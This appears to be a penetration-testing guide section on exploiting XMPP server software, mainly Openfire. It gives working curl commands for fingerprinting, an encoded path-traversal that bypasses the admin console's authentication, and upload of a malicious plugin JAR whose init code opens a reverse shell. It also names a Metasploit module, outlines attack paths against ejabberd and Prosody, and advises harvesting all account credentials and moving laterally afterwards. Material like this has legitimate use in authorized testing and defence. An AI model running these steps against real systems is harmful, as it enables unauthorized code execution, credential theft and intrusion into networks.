Once enumeration has identified the daemon, the server software itself is the target, and the standout case is the Openfire admin console. Openfire's web admin filter exempts a small set of /setup/ paths so the first-run wizard works before authentication, and it normalizes the request path after that exemption check. A URL that embeds an encoded .. traversal in front of a setup-* segment passes the exemption test as a setup page, then normalizes down to an authenticated admin page, so the admin console is reachable with no login. That access is then chained to uploading a malicious Openfire plugin (a .jar), which the server loads and runs, giving code execution as the Openfire service user. ejabberd and Prosody contribute module-loading and TLS-parsing bugs on their own.
Fingerprint first#
# confirm the daemon and reach the admin console port (9090 http / 9091 https by default)
curl -s http://target.lan:9090/login.jsp | grep -i openfire
# the <identity name='Openfire'/> from disco#info also confirms it; note the version in the footer
The bypass is specific to a band of Openfire versions; read the version from the login page footer or the disco identity before proceeding, since patched builds normalize the path before the filter check and reject the traversal.
Worked admin-console bypass and plugin upload#
Reach an authenticated admin page by prefixing an encoded traversal to a setup path:
# %u002e%u002e decodes to .. in Openfire's embedded Jetty decoder, so the auth
# filter sees a /setup/ path and exempts it, then normalization resolves to the admin page
curl -s -i "http://target.lan:9090/setup/setup-/%u002e%u002e/%u002e%u002e/user-summary.jsp"
# HTTP/1.1 200 OK with the user-groups admin page body => the auth filter was bypassed
A 200 returning real admin content (user lists, group management) confirms the bypass; a 302 redirect back to login.jsp means the build is not affected. With admin access, create a privileged user or jump straight to execution by uploading a plugin. An Openfire plugin is a JAR containing a class implementing the plugin interface; a crafted one runs arbitrary code on load:
# upload a malicious plugin through the (now reachable) plugin-admin page
curl -s -b "$ADMIN_COOKIE" -F "uploadfile=@evil.jar" \
"http://target.lan:9090/plugin-admin.jsp?uploadPlugin"
# the plugin appears in the plugin list and executes; a reverse shell in its init() connects back
Openfire deploys the uploaded JAR into its plugins directory and loads it, so init-time code in the plugin runs as the Openfire user. The Metasploit module exploit/multi/http/openfire_auth_bypass_rce chains the traversal and plugin upload end to end; interpret a returned session as execution as the Openfire account.
Variants and other daemons#
- ejabberd: module loading via the admin interface or
ejabberdctllets an admin-equivalent attacker stage a module for execution, and some releases have had TLS/STARTTLS handshake-parsing flaws reachable pre-auth on 5222/5269. - Prosody: Lua modules loaded from the config path run in the server process, so write access to the modules directory or the admin telnet console (
prosodyctl) is code execution; HTTP-upload and BOSH endpoints have had their own input-handling bugs. - Federation (5269): a server that accepts weakly validated server-to-server dialback can be fed spoofed inbound traffic; pair with the authentication abuse in authentication.
Follow-on#
- The plugin path yields a shell as the Openfire (or ejabberd/Prosody) service user; from there read the server config and database for every account's credentials and the roster of the whole deployment.
- A foothold on the XMPP host frequently sits behind the perimeter with reach to directory and mail infrastructure, enabling lateral movement.